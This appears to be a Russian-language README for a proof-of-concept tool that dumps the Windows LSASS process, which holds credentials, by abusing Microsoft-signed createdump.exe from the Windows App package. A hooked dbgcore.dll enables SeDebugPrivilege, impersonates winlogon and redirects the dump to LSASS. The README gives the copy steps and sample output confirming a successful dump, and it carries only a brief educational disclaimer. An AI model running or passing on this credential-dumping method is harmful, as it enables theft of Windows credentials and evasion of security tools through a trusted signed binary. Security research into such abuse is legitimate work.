
Используйте инструмент createdump из WindowsApp для получения дампа lsass
Windows App LSASS Dump — доказательство концепцииЭтот проект демонстрирует, как выполнить дамп процесса LSASS с помощью инструмента createdump.exe — подписанного Microsoft исполняемого файла — из Windows App, используя пользовательский хук для предоставления процессу доступа к LSASS.
Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')
Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc
SignerCertificate Status StatusMessage Path
----------------- ------ ------------- ----
C2048FB509F1C37A8C3E9EC6648118458AA01780 Valid Signature verified. createdump.exe
copy C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc\createdump.exe .)dbgcore.dll из этого репозитория в ту же папкуВывод должен выглядеть примерно так:
c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The WindowsApp" to create an LSASS dump
Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
ProcessId: 35828
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
ProcessId: 1512
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.
Этот проект предназначен исключительно для образовательных целей. Неправильное использование этого инструмента может нарушить политику конфиденциальности и безопасности.